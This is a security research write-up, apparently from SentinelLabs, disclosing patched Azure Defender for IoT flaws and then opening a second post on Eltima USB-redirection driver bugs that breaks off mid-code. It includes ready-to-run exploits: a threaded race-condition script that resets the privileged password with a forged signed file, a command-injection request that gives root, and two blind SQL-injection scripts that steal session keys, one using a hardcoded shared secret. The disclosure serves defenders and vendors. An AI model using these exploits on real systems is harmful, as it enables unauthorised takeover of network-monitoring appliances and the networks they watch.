  • ResetPassword.json – JSON application data, properties of the machine.

The content of the ResetPassword.json file looks as follows:

{
  "properties": {
    "tenantId": "<TENANTID>",
    "subscriptionId": "<SUBSCRIPTIONID>",
    "type": "PasswordReset",
    "applianceId": "<APPLIANCEID>",
    "issuanceDate": "<ISSUANCEDATA>"
  },
  "signature": "<BASE64_SIGNATURE>"
}

According to Step 2, the code that processes file uploads to the reset_password directory (components\xsense-web\cyberx_web\api\admin.py:1508) looks as follows:

class ZipFileConfigurationApiHandler(BaseHandler):
    def _post(self):
        path = self.request.POST.get('path')
        approved_path = ['licenses', 'reset_password']
 
        if path not in approved_path:
            raise Exception("provided path is not approved")
 
        path = os.path.join('/var/cyberx', path)
        cyberx_common.clear_directory_content(path)
 
        files = self.request.FILES
        for file_name in files:
            license_zip = files[file_name]
            zf = zipfile.ZipFile(license_zip)
            zf.extractall(path=path)

As shown, the code extracts the user delivered ZIP to the mentioned directory, and the following code handles the password recovery requests (cyberx python library file django_helpers.py:576):

class PasswordRecoveryApiHandler(BaseHandler):
    def _get(self):
        global host_id
 
        if not host_id:
            host_id = common.get_system_id()
            host_id = common.add_dashes(host_id)
 
        return {
            'instanceId': host_id
        }
 
    def _post(self):
        print 'resetting user password'
        result = {}
        try:
            body = self.parse_body()
            user = body.get('user')
 
            if user != 'cyberx' and user != 'support':
                raise Exception('Invalid user')
 
            try:
                self._try_reset_password() 
            except Exception as e:
                logging.error('could not verify activation certificate, error {}'.format(e.message))
                result = {
                    "internalSystemErrorMessage": '',
                    "userDisplayErrorMessage": 'This password recovery file is invalid.' +
                                                  'Download a new file. If this does not work, contact support.'
                }
 
            url = "http://127.0.0.1:9090/core/api/v1/login/reset-password"
            r = requests.post(url=url)
            r.raise_for_status()
 
            # Reset passwords
 
            user_new_password = common.generate_password()
            self._set_user_password(user, user_new_password)
 
            if not result:
                result = {
                    'newPassword': user_new_password
                }
        finally:
            clear_directory_content('/var/cyberx/reset_password')
 
        return result

The function first validates the provided user and calls the function _try_reset_password:

 def _try_reset_password(self):
        license_signing_certificate_path = os.path.join(RESET_PASSWORD_DIR_PATH, SIGNING_CERTIFICATE_FILE_NAME)
        intermediate_issuer_certificate_path = os.path.join(RESET_PASSWORD_DIR_PATH, ISSUER_CERTIFICATE_FILE_NAME)
 
        cert_data = ssl.verify_certificate(intermediate_issuer_certificate_path, license_signing_certificate_path)
        certificate = load_certificate(FILETYPE_PEM, cert_data)
        print 'validating subject'
        ssl.verify_subject(certificate)
        print 'validating issuer'
        ssl.verify_issuer(certificate)

Internally, this code validates the certificates, including the issuer.

Afterwards, a request to an internal API http://127.0.0.1:9090/core/api/v1/login/reset-password is made and handled by a Java component that eventually executes the following code:

public class ResetPasswordManager {
  private static final Logger LOGGER = LoggerFactory.getLogger(ResetPasswordManager.class);
  private static final String RESET_PASSWORD_CERTIFICATE_PATH = "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem"; 
  private static final String RESET_PASSWORD_JSON_PATH = "/var/cyberx/reset_password/ResetPassword.json";
  
  private static final ActivationConfiguration ACTIVATION_CONFIGURATION = new ActivationConfiguration();
  
  public static void resetPassword() throws Exception {
    LOGGER.info("Trying to reset password");
    JSONObject resetPasswordJson = new JSONObject(FileUtils.read("/var/cyberx/reset_password/ResetPassword.json"));
    ResetPasswordProperties resetPasswordProperties = (ResetPasswordProperties)JsonSerializer.fromString(resetPasswordJson
        .getJSONObject("properties").toString(), ResetPasswordProperties.class);
    boolean signatureValid = CryptographyUtils.isSignatureValid(JsonSerializer.toString(resetPasswordProperties).getBytes(StandardCharsets.UTF_8), resetPasswordJson
        .getString("signature"), "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem");
    if (!signatureValid) {
      LOGGER.error("Signature validation failed");
      throw new Exception("This signature file is not valid");
    } 
    String subscriptionId = resetPasswordProperties.getSubscriptionId();
    String machineSubscriptionId = ACTIVATION_CONFIGURATION.getSubscriptionId();
    if (!machineSubscriptionId.equals("") && 
      !machineSubscriptionId.contains(resetPasswordProperties.getSubscriptionId())) {
      LOGGER.error("Subscription ID didn't match");
      throw new Exception("This signature file is not valid");
    } 
    DateTime issuanceDate = 
 
DateTimeFormat.forPattern("MM/dd/yyyy").parseDateTime(resetPasswordProperties.getIssuanceDate()).withTimeAtStartOfDay();
    if (DateTime.now().withTimeAtStartOfDay().minusDays(7).isAfter((ReadableInstant)issuanceDate)) {
      LOGGER.error("Password reset file expired");
      throw new Exception("Password reset file expired");
    } 
    if (!Environment.getSensorUUID().replace("-", "").equals(resetPasswordProperties.getApplianceId().trim().toLowerCase().replace("-", ""))) {
      LOGGER.error("Appliance id not equal to real uuid");
      throw new Exception("Appliance id not equal to real uuid");
    } 
  }
}

This code validates the password reset files yet again. This time it also validates the signature of the ResetPassword.json file and its properties.

If all goes well and the Java API returns 200 OK status code, the PasswordRecoveryApiHandler controller proceeds and generates a new password and returns it to the user.

Vulnerabilities in Defender for IOT

As shown, the password recovery mechanism consists of two main entities:

  • The Python web API (external)
  • The Java web API (tomcat, internal)

This introduces a time-of-check-time-of-use (TOCTOU) vulnerability, since no synchronization mechanism is applied.

As mentioned, the reset password mechanism starts with a ZIP file upload. This primitive lets us upload and extract any files to the /var/cyberx/reset_password directory.

There is a window of opportunity in this flow that makes it possible to change the files in /var/cyberx/reset_password between the first verification (Python API) and the second verification (Java API) in a way that the Python API validates that the files are correctly signed by Azure certificates. Then the Java API processes the replaced specially crafted files that causes it to falsely approve their authenticity and return the 200 OK status code.

The password recovery Java API contains logical flaws that let specially-crafted payloads bypass all verifications.

The Java API validates the signature of the JSON file (same code as above):

JSONObject resetPasswordJson = new JSONObject(FileUtils.read("/var/cyberx/reset_password/ResetPassword.json"));
    ResetPasswordProperties resetPasswordProperties = (ResetPasswordProperties)JsonSerializer.fromString(resetPasswordJson
        .getJSONObject("properties").toString(), ResetPasswordProperties.class);
    boolean signatureValid = CryptographyUtils.isSignatureValid(JsonSerializer.toString(resetPasswordProperties).getBytes(StandardCharsets.UTF_8), resetPasswordJson
        .getString("signature"), "/var/cyberx/reset_password/IotDefenderSigningCertificate.pem");
    if (!signatureValid) {
      LOGGER.error("Signature validation failed");
      throw new Exception("This signature file is not valid");
    } 

The issue here is that it doesn’t verify the IotDefenderSigningCertificate.pem certificate as opposed to the Python API verification. It only checks that the signature in the JSON file is signed by the attached certificate file. This introduces a major flaw.

An attacker can therefore generate a self-signed certificate and sign the ResetPassword.json payload that will pass the signature verification.

As already mentioned, the ResetPassword.json looks like the following:

{
  "properties": {
    "tenantId": "<TENANTID>",
    "subscriptionId": "<SUBSCRIPTIONID>",
    "type": "PasswordReset",
    "applianceId": "<APPLIANCEID>",
    "issuanceDate": "<ISSUANCEDATA>"
  },

Afterwards, there is a subscription ID check:

  String subscriptionId = resetPasswordProperties.getSubscriptionId();
    String machineSubscriptionId = ACTIVATION_CONFIGURATION.getSubscriptionId();
    if (!machineSubscriptionId.equals("") && 
      !machineSubscriptionId.contains(resetPasswordProperties.getSubscriptionId())) {
      LOGGER.error("Subscription ID didn't match");
      throw new Exception("This signature file is not valid");
    } 

This is the only property that cannot be obtained by a remote attacker and is infeasible to guess in a reasonable time. However, this check can be easily bypassed.

The code takes the subscriptionId from the JSON file and compares it to the machineSubscriptionId. However, the code here is flawed. It checks if machineSubscriptionId contains the subscriptionId from the user controlled JSON file and not the other way around. The use of .contains() is entirely insecure. The subscriptionId is in the format of a GUID, which means it must contain a hyphen. This allows us to bypass this check by only providing a single hyphen character.

Next, the issuanceDate is checked, followed by ApplianceId. This is already supplied to us by the password recovery page (mentioned in Step 2).

Now we understand that we can bypass all of the checks in the Java API, meaning that we only need to successfully win the race condition and ultimately reset the password without authorization.

The fact that the ZIP upload interface and password recovery interface are divided came in handy in the exploitation phase and lets us win the race more easily.

Preparing To Attack Azure Defender For IoT

To prepare the attack we need to do the following.

  1. Obtain a legitimate password recovery ZIP file from the Azure portal. Obviously, we cannot access the Azure user that the victim machine belongs to, but we can use any Azure user and generate a “dummy” ZIP file. We only need the recovery ZIP file to obtain a legitimate certificate. This can be done at the following URL:
    https://portal.azure.com/#blade/Microsoft_Azure_IoT_Defender/IoTDefenderDashboard/Sites
    

    For that matter, we can create a new trial Azure account and generate a recovery file using that interface mentioned above. The secret identifier is irrelevant and may contain garbage.

  2. Then we need to generate a specially crafted (“bad”) ZIP file. This ZIP file will contain two files:
    • IotDefenderSigningCertificate.pem – a self-signed certificate. It can be generated by the following command:
      openssl     req  -x509   -nodes     -newkey rsa:2048     -keyout key.pem     -out IotDefenderSigningCertificate.pem     -subj "/C=DE/ST=NRW/L=Berlin/O=My Inc/OU=ALEG/CN=www.example.com/[email protected]"
      
    • ResetPassword.json – properties data JSON file, signed by the self-signed certificate mentioned above and modified accordingly to bypass the Java API verifications.

This JSON file can be signed using the following Java code:

import com.cyberx.infrastructure.common.configuration.ActivationConfiguration;
import com.cyberx.infrastructure.common.serializers.JsonSerializer;
import com.cyberx.infrastructure.common.utils.CryptographyUtils;
import com.cyberx.infrastructure.common.utils.FileUtils;
import com.cyberx.infrastructure.models.pojos.ResetPasswordProperties;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.GeneralSecurityException;
import org.joda.time.DateTime;
import org.joda.time.ReadableInstant;
import org.joda.time.format.DateTimeFormat;
import org.json.JSONObject;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.commons.codec.binary.Base64;
 
    public static void sign() {
        String data = "{\"tenantId\":\"<redacted>\",\"subscriptionId\":\"-\",\"type\":\"PasswordReset\",\"applianceId\":\"<redacted>\",\"issuanceDate\":\"06/19/2021\"}";
        try {
            String signature = Base64.encodeBase64String(CryptographyUtils.rsaSign("C:\\key.pem", data.getBytes()));
            JSONObject jsonData = new JSONObject(data);
            JSONObject completeData = new JSONObject();
            completeData.put("properties", jsonData);
            completeData.put("signature", signature);
            System.out.println(completeData.toString());
            FileUtils.write("C:\\ResetPassword.json", completeData.toString());
        } catch (GeneralSecurityException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

As mentioned, the applianceId is obtained from the password recovery page. The tenantId is not verified, thus can be anything.

The issuanceDate parameter is self explanatory.

Once generated and signed, it can be added to a ZIP archive and be used by the following Python exploit script:

import requests
import threading
import time
import sys
from urllib3.exceptions import InsecureRequestWarning
 
 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
 
HOST = "192.168.1.130"
BENIGN_RESET_PATH = "./benign.zip"
MALICIOUS_RESET_PATH = "./malicious.zip"
 
 
BENIGN_DATA = open(BENIGN_RESET_PATH, "rb+").read()
MALICIOUS_DATA = open(MALICIOUS_RESET_PATH, "rb+").read()
 
 
def upload_reset_file(data, timeout=0):
    headers = {
        "X-CSRFTOKEN": "aaaa",
        "Referer": "https://{0}/login".format(HOST),
        "Origin": "https://{0}".format(HOST)
    }
 
    cookies = {
        "csrftoken": "aaaa"
    }
    files = {"file": data}
    data = {"path": "reset_password"}
    while True:
        requests.post("https://{0}/api/configuration/zip-file".format(HOST), data=data, files=files, headers=headers, cookies=cookies, verify=False)
        if not timeout:
            time.sleep(timeout)
 
def recover_password():
    headers = {
        "X-CSRFTOKEN": "aaaa",
        "Referer": "https://{0}/login".format(HOST),
        "Origin": "https://{0}".format(HOST)
    }
 
    cookies = {
        "csrftoken": "aaaa"
    }
    data = {"user": "cyberx"}
    while True:
        req = requests.post("https://{0}/api/authentication/recover".format(HOST), json=data, headers=headers, cookies=cookies, verify=False)
        if b"newPassword" in req.content:
            print(req.content)
            sys.exit(1)
 
 
def main():
 
    looper_benign = threading.Thread(target=upload_reset_file, args=(BENIGN_DATA, 0), daemon=True)
    looper_malicious = threading.Thread(target=upload_reset_file, args=(MALICIOUS_DATA, 1), daemon=True)
    looper_recover = threading.Thread(target=recover_password, args=(), daemon=True)
 
    looper_benign.start()
    looper_malicious.start()
    looper_recover.start()
 
 
    looper_recover.join()
   
 
if __name__ == '__main__':
    main()

The benign.zip file is the ZIP file obtained from the Azure portal, as described above and the malicious.zip file is the mentioned specially-crafted ZIP file as described above.

The exploit script above performs the TOCTOU attack to reset and receive the password of the cyberx username without authentication at all. It does so by utilizing three threads:

  • looper_benign – responsible for uploading the benign ZIP file in an infinite loop
  • looper_malicious – the same as looper_benign but uploads the malicious ZIP, in this configuration with a 1 second timeout
  • looper_recover – sends the password recovery request to trigger the vulnerable code

Somewhat unfortunately, the documentation mentions that the ZIP file cannot be tampered with.

This vulnerability is addressed as part of CVE-2021-42310.

Unauthenticated Remote Code Execution As Root #1

At this point, we can obtain a password for the privileged user cyberx. This allows us to login to the SSH server and to execute code as root. Even without this, an attacker could use a stealthier approach to execute code.

After logging in with the obtained password, the attack surface is vastly increased. For example, we found a simple command injection vulnerability within the change password mechanism:

From components\xsense-web\cyberx_web\api\authentication.py:151:

   def _post(self):
        try:
            body = self.parse_body()
            password = body['password']
            username = body['username'].lower()  # Lower case the username mainly because it does not matter
            ip_address = self.get_client_ip_address()
 
            # 1. validate credentials:
            try:
                logging.info('validate credentials...')
                user = LoginApiHandler.validate_credentials_and_get_user(username, password, ip_address)
            except UserFriendlyException as e:
                raise e
            except Exception as e:
                logging.error('User authentication failure', exc_info=True)
                raise UserFriendlyException('User authentication failure', e.message)
 
            # 2. validate new password:
            new_password = body['new_password']
            err_message = UserPasswordApiHandler.validate_password(new_password)
            if err_message:
                raise UserFriendlyException("Password doesn't match security policy", err_message)
 
            # 3. change password:
            user.set_password(new_password)
            user.save()
            process.run('sudo /usr/local/bin/cyberx-users-password-reset -u {username} -p {password}'
                        .format(username=user.get_username().encode('utf-8'), password=new_password), hide_output=True)
            return {'msg': 'Password has been replaced.'}
        except UserFriendlyException as e:
            raise e
        except Exception as e:
            raise UserFriendlyException("Unable to set password.", e.message)

The function receives three JSON fields from the user, “username”, “password”, “new_password”.

First, it validates the username and password, which we already have. Next, it only checks the complexity of the password using regex, but does not sanitize the input for command injection primitives.

After the validation it executes the /usr/local/bin/cyberx-users-password-reset script as root with the username and new password controlled by an attacker. As the function doesn’t sanitize the input of “new_password” properly, we can inject any command we choose. Our command will then be executed as root with the help of sudo because the cyberx user is a sudoer. This lets us execute code as a root user:

This can be exploited with the following HTTP packet:

POST /api/external/authentication/set_password HTTP/1.1
Host: 192.168.1.130
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-CSRFTOKEN: aaaa
Referer: https://192.168.1.130/login
Origin: https://192.168.1.130
Cookie: cyberx-version=10.3.1.7-r-55a4f94; csrftoken=aaaa; sessionid=kcnjq7wby7c28rxnppcex20gkajej3km; RELOCATE_URL=
Content-Length: 100
Content-Type: multipart/form-data; boundary=47dd42bb4cf2abb6e9c4c81019d8fbb4
 
{"username" : "cyberx", "password" : "",
"new_password": "``"}

This vulnerability is addressed as part of CVE-2021-42312.

POC

In the remainder of this post, we present two additional routes and new vulnerabilities as well as a vulnerability in the traffic processing framework.

These vulnerabilities are basic SQL Injections (with a twist), yet they have a high impact on the security of the product and the organization’s network.

CVE-2021-42313

The DynamicTokenAuthenticationBaseHandler class inherits from BaseHandler and does not require authentication. This class contains two functions (get_version_from_db, uuid_is_connected) which are prone to SQL injection .

def get_version_from_db(self, uuid):
    version = None
    with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
        logger.info("fetching the sensor version from db")
        xsenses = client.execute_select_query(
            "SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid))
        if len(xsenses) > 0:
            version = xsenses[0]['version']
            logger.info("sensor version according to db is: {}".format(version))
        else:
            logger.info("sensor not in db")
    return version
    
def uuid_is_connected(self, uuid):
    with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
        xsenses = client.execute_select_query(
            "SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid))
        result = len(xsenses) > 0
    return result

As shown, the UUID parameter is not sanitized and formatted into an SQL query. There are a couple of classes which inherit DynamicTokenAuthenticationBaseHandler. The flow to the vulnerable functions actually exists in the token validation process.

Therefore, we can trigger the SQL injection without authentication.

These vulnerabilities can be triggered from:

  1. api/sensors/v1/sync
  2. api/v1/upgrade/status
  3. api/v1/upgrade/upgrade-log

It is worth noting that the function execute_select_query internally calls to the SQL execute, API which supports stacked queries. This makes the “simple” select SQL injection a more powerful primitive (aka executing any query using ‘;’). In our testing we managed to insert, update, and execute SQL special commands.

For the PoC of this vulnerability, we used the api/sensors/v1/sync API. We created the following script to extract a logged in user session id from the database, which eventually allows us to take over the account.

import requests
import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
HOST = "https://192.168.126.150"
 
def startAttack():
    sessionKey = ""
    for currChr in range(1, 40):
        bitStr = ""
        for currBit in range(0, 8):
            sql = "aleg' union select if(ord(substr((SELECT session_key from django_session WHERE LENGTH(session_data) > 70 ORDER BY expire_date DESC LIMIT 1),{0},1)) >>{1} & 1 = 1 ,sleep(3),0),2,3 -- a".format(currChr, currBit)
 
            body = {
                "token": "aleg",
                "uid": sql
            }
 
            now = datetime.datetime.now()
            res = requests.post(HOST + "/api/sensors/v1/sync", json=body, verify=False)
            if (datetime.datetime.now() - now).seconds > 2:
                bitStr += "1"
                print(1)
            else:
                bitStr += "0"
                print(0)
 
        final = bitStr[::-1]
        print(final)
        print(int(final, 2))
        chrNum = int(final, 2)
 
        if not chrNum:
            return
            
        sessionKey += chr(chrNum)
        print("SessionKey: " + sessionKey)
 
            
 
def main():
    startAttack()
 
if __name__ == "__main__":
    main()

An example of this script output:

After extracting the session id from the database, we can log in to the management web interface, at which point there are several methods to execute code as root. For example, we could change the password and login to the SSH server (these users are sudoers), use the script scheduling mechanism, or use the command injection vulnerability we mentioned earlier in this post.

This attack is made easy due to the lack of session validation. There is no further layer of validation, such as verifying that the session id is used from the same IP address and User-Agent as the initiator of the session.

CVE-2021-42311

The UpdateHandshakeHandlers::is_connected function is also prone to SQL injection.

The class UpdateHandshakeHandler inherits from BaseHandler, which is accessible for unauthenticated users and can be reached via the API: /api/v1/token/update-handshake.

However, this time there is a twist: the _post function does token verification.

class UpdateHandshakeHandlers(BaseHandler):
    def __init__(self):
        super(UpdateHandshakeHandlers, self).__init__()
        self.update_secret = update_secret
 
    def is_connected(self, sensor_uid):
        with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
            logger.info("fetching the sensor version from db")
            xsenses = client.execute_select_query(
                "SELECT id, UID FROM xsenses WHERE UID = '{}'".format(sensor_uid))
 
            if len(xsenses) > 0:
                logger.info("sensor {} found on db".format(sensor_uid))
                return True
            else:
                logger.info("sensor {} not in db".format(sensor_uid))
                return False
 
    def _post(self):
        try:
            body = self.parse_body()
        except Exception as ex:
            return self.generic_handler(self.invalid_body)
 
        try:
            sensor_update_secret = body['update_secret']
            sensor_uid = body['xsenseUID']
 
            if sensor_update_secret != self.update_secret:
                raise Exception('invalid secret')
 
            if not self.is_connected(sensor_uid):
                raise Exception('only supported with connected sensors')
        except Exception as ex:
            logging.exception('failed to fetch new token')
            return self.generic_handler(self.invalid_token)
 
        logger.info("update handshake succeeded")
        token = {
            'token': tokens.get_token()
        }
        return token

This means the API requires a secret token, and without it we cannot exploit this SQL injection vulnerability. Fortunately, this API token is not that secretive. This update.token is hardcoded in the file index.properties and is shared across all Defender For IoT installations worldwide, which means that an attacker may exploit this vulnerability without any authentication.

We created the following script to extract a logged in user session id from the database, which allows us to take over the account.

import requests
import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
HOST = "https://10.100.102.253"
 
def startAttack():
    sessionKey = ""
    for currChr in range(1, 40):
        bitStr = ""
        for currBit in range(0, 8):
            sql = "aleg' union select if(ord(substr((SELECT session_key from django_session WHERE LENGTH(session_data) > 70 ORDER BY expire_date DESC LIMIT 1),{0},1)) >>{1} & 1 = 1 ,sleep(3),0),2 -- a".format(currChr, currBit)
 
            body = {
                "update_secret": "93960370-2f5f-4be1-813e-b7a3768ad288",
                "xsenseUID": sql
            }
 
            now = datetime.datetime.now()
            res = requests.post(HOST + "/api/v1/token/update-handshake", json=body, verify=False)
            if (datetime.datetime.now() - now).seconds > 2:
                bitStr += "1"
                print(1)
            else:
                bitStr += "0"
                print(0)
 
        final = bitStr[::-1]
        print(final)
        print(int(final, 2))
        chrNum = int(final, 2)
 
        if not chrNum:
            return
            
        sessionKey += chr(chrNum)
        print("SessionKey: " + sessionKey)
 
            
 
def main():
    startAttack()
 
if __name__ == "__main__":
    main()

As with the first SQL injection vulnerability, after extracting the session id from the database, we can use any of the methods mentioned above to execute code as root.

CVE-2021-37222

The sensor machine uses RCDCAP (an open source project) to open CISCO ERSPAN and HP ERM encapsulated packets.

The functions ERSPANProcessor::processImpl and HPERMProcessor::processImpl methods are vulnerable to a wildcopy heap based buffer overflow vulnerability, which can potentially allow arbitrary code execution, when processing specially crafted input.

These functions are vulnerable to a wildcopy heap based buffer overflow vulnerability, which can potentially allow arbitrary code execution.

This vulnerability was found by locally fuzzing RCDCAP with pcap files and occurs when this line is executed:

(hp-erm-processor.cc:94)
(erspan-processor.cc:90)

std::copy(&packet[offset + MACHeader802_1Q::getVLANTagOffset()],
        &packet[caplen], &packet[MACHeader802_1Q::getVLANTagOffset()+MACHeader802_1Q::getVLANTagSize()]);

This was reported to the code owner and MSRC; the code owner has already issued a fix:

MSRC, however, decided that this vulnerability does not meet the bar for a MSRC security update and the development group might decide to fix it as needed.

Impact

  • Who is affected? Azure Defender for IoT running with unpatched systems are affected. Since this product has many configurations, for example RTOS, which have not been tested, users of these systems can be affected as well.
  • What is the risk? Successful attack may lead to full network compromise, since Azure Defender For IoT is configured to have a TAP (Terminal Access Point) on the network traffic. Access to sensitive information on the network could open a number of sophisticated attacking scenarios that could be difficult or impossible to detect.

Mitigation

We responsibly disclosed our findings to MSRC in June 2021, and Microsoft has released a security advisory with patch details December 2021, which can be found here, here, here, here and here.

While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched, and checking access logs for irregularities.

Conclusion

Cloud providers heavily invest in securing their platforms, but unknown zero-day vulnerabilities are inevitable and put customers at risk. It’s particularly concerning when it comes to IoT and OT devices that have little to no defenses and depend entirely on these vulnerable platforms for their security posture. Cloud users should take a defense-in-depth approach to cloud security to ensure breaches are detected and contained, whether the threat comes from the outside or from the platform itself.

As part of SentinelLabs’ commitment to advancing public security, we actively invest in research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies and widely share our findings in the interest of protecting all users.

Disclosure Timeline

  • June 21, 2021 – Initial report to MSRC.
  • June 24, 2021 – Initial response from MSRC
  • June 30, 2021 – MSRC requests a PoC video and code.
  • July 1, 2021 – We shared the code and a PoC video with MSRC.
  • July 16, 2021 – MSRC confirmed the bug and started working on a fix.
  • December 14, 2021 – MSRC released an advisory.

USB Over Ethernet | Multiple Vulnerabilities in AWS and Other Major Cloud Services

7 December 2021 at 11:00

Executive Summary

  • SentinelLabs has discovered a number of high severity flaws in driver software affecting numerous cloud services.
  • Cloud desktop solutions like Amazon Workspaces rely on third-party libraries, including Eltima SDK, to provide ‘USB over Ethernet’ capabilities that allow users to connect and share local devices like webcams. These cloud services are in use by millions of customers worldwide.
  • Vulnerabilities in Eltima SDK, derivative products, and proprietary variants are unwittingly inherited by cloud customers.
  • These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
  • SentinelLabs’ findings were proactively reported to the vulnerable vendors during Q2 2021 and the vulnerabilities are tracked as CVE-2021-42972, CVE-2021-42973, CVE-2021-42976, CVE-2021-42977, CVE-2021-42979, CVE-2021-42980, CVE-2021-42983, CVE-2021-42986, CVE-2021-42987, CVE-2021-42988, CVE-2021-42990, CVE-2021-42993, CVE-2021-42994, CVE-2021-42996, CVE-2021-43000, CVE-2021-43002, CVE-2021-43003, CVE-2021-43006, CVE-2021-43637, CVE-2021-43638, CVE-2021-42681, CVE-2021-42682, CVE-2021-42683, CVE-2021-42685, CVE-2021-42686, CVE-2021-42687, CVE-2021-42688.
  • Vendors have released security updates to address these vulnerabilities. Some of these are automatically applied while others require customer actions.
  • At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.

Introduction

Throughout 2020-2021, organizations worldwide needed to adopt new work models, including work from home (WFH), in response to the COVID-19 pandemic. This required organizations to make use of various solutions that allow WFH employees to securely access their organization’s assets and resources. As a result, the market for WFH solutions has seen tremendous growth, but security has not necessarily evolved accordingly.

In this post, we disclose details of multiple vulnerabilities we discovered in major cloud services including:

  • Amazon Nimble Studio AMI, prior to: 2021/07/29
  • Amazon NICE DCV, below: 2021.1.7744 (Windows), 2021.1.3560 (Linux), 2021.1.3590 (Mac), 2021/07/30
  • Amazon WorkSpaces agent, below: v1.0.1.1537, 2021/07/31
  • Amazon AppStream client version below: 1.1.304, 2021/08/02
  • NoMachine [all products for Windows], above v4.0.346 below v.7.7.4 (v.6.x is being updated as well)
  • Accops HyWorks Client for Windows: version v3.2.8.180 or older
  • Accops HyWorks DVM Tools for Windows: version 3.3.1.102 or lower (Part of Accops HyWorks product earlier than v3.3 R3)
  • Eltima USB Network Gate below 9.2.2420 above 7.0.1370
  • Amzetta zPortal Windows zClient <= v3.2.8180.148
  • Amzetta zPortal DVM Tools <= v3.3.148.148
  • FlexiHub below 5.2.14094 (latest) above 3.3.11481
  • Donglify below 1.7.14110 (latest) above 1.0.12309

It is important to note that:

  1. These vulnerabilities originated from a library developed and provided by Eltima, which is in use by several cloud providers.
  2. Both the end user (AWS WorkSpaces client in this example) and cloud service (AWS WorkSpaces running in AWS Cloud) are vulnerable to various vulnerabilities we will discuss below. This peculiarity can be attributed to code-sharing between both the server side and client side applications.
  3. While we have confirmed these vulnerabilities for AWS, NoMachine and Accops, our testing was limited in scope to these vendors, and we believe it is highly likely other cloud providers using the same libraries would be vulnerable.
  4. Also, of the vendors tested, not all vendors were tested for both client side and server side vulnerabilities; consequently, there might also be further instances of the vulnerabilities there.

Technical Details

While these vulnerabilities affect multiple products, the technical details below will mainly focus on AWS WorkSpaces as an example. This is where our research began, and the flaws are essentially the same across all mentioned products.

Amazon WorkSpaces is a fully managed and persistent desktop virtualization service that enables users to access data, applications, and resources they need anywhere from any supported device. WorkSpaces supports provisioning Windows or Linux desktops and can be quickly scaled to provide thousands of desktops to workers across the globe.

WorkSpaces increases security by keeping data off the end user’s device and increasing reliability with the power of the AWS Cloud, an increasingly valuable service for the growing remote workforce.

WorkSpaces architecture; source: AWS

As shown above, authentication and session orchestration is done over HTTPS, while the data stream is either PCoIP (PC Over IP) or WSP (WorkSpaces Streaming Protocol), a proprietary protocol.

The main difference between them is that on Amazon WorkSpaces, only WSP supports device redirection such as smart cards and webcams. This is where the vulnerabilities reside.

The WSP protocol consists of several libraries, some of which are provided by 3rd parties. One of these is the Eltima SDK. Eltima develops a product called “USB Over Ethernet”, which enables remote USB redirection.

The same product, with some modifications, is used by Amazon WorkSpaces to enable its users to redirect USB devices to their remote desktop, allowing them to connect devices such as USB webcams to Zoom calls directly from the remote desktop.

The program is bundled with the “client” (connect to other shared devices) and the “server” (share a device over the internet):

USB Over Ethernet screenshot; source: Eltima

The drivers responsible for USB redirection are wspvuhub.sys and wspusbfilter.sys, both of which are vulnerable and seem to have been in use since the beginning of 2020, when WSP protocol was announced.

Before going through the vulnerabilities, it’s important to understand how the Windows Kernel IO Manager (IOMgr) works. When a user-mode thread sends an IRP_MJ_DEVICE_CONTROL packet, it passes input and output data between the user-mode and kernel-mode, depending on the I/O Control (IOCTL) code invoked. As per Microsoft’s documentation, “an I/O control code is a 32-bit value that consists of several fields”, as illustrated in the following figure:

Input/output Control Code Structure; source: Microsoft

For the purposes of this post, we will focus on the two least significant bits, TransferType. The documentation tells us that these bits indicate how the system will pass data between the caller of NtDeviceIoControlFile syscall and the driver that handles the IRP.

There are three ways to exchange data between kernel mode and user mode using an IRP:

  1. METHOD_BUFFERED – considered the most secure. Using this method IOMgr will copy the caller input data out of, and then into, the supplied caller output buffer.
  2. METHOD_IN/OUT_DIRECT – Depending on the data direction, the IOMgr will supply an MDL that describes a buffer, and ensures that the executing thread has read/write-access to the buffer. IOCTL routines can then lock the buffer to the memory.
  3. METHOD_NEITHER – considered more prone to faults. The IOMgr doesn’t map/validate the supplied buffer; the IOCTL handler receives a user-mode address. This is mostly used for high speed data processing.

The vulnerable IOCTL handlers, which contain several vulnerabilities and are the same across all vulnerable products, are 0x22005B and 0x22001B.

This code deals with a user buffer of type METHOD_NEITHER (Type3InputBuffer)

This means that the IOCTL handler is responsible for validating, probing, locking, and mapping the buffer itself depending on the use case.

This opens up many possibilities to exploit the device, such as double fetches, and arbitrary pointer dereference, which can lead to other vulnerabilities as well. In the image below, it can be seen that buffer verification does not exist at all in this code:

IOCTL 0x22001B Handler

Here’s a brief explanation of this code:

  1. First, the routine checks whether the calling process is 32bit or 64bit (red arrow).
  2. It then decides whether to use alloc_size_64bit or alloc_size_32bit based on the first check’s results (blue arrow) .
  3. Next, there is a call to ExAllocatePoolWithTag_wrapper with user controlled size parameter (pink arrow).
  4. At this point, the code proceeds to blocks that handle 32 bit memmove (yellow arrow) and 64 bit memmove (green arrow). As can be seen in the image, at this stage there are cases of insecure arithmetic operations on user controlled data without any overflow checks when calculating the copy size, which can lead to integer overflows that might eventually lead to arbitrary code execution.

Generally speaking, accessing (reading/writing) user-mode addresses requires probing. Dealing with Type3InputBuffer also requires you to lock the pages to the memory and only fetch data once.

The easiest way to cause an overflow in this code is by passing different parameters for the allocation and copy functions. This can be done by crafting a special IRP:

struct struct_usercontrolled {
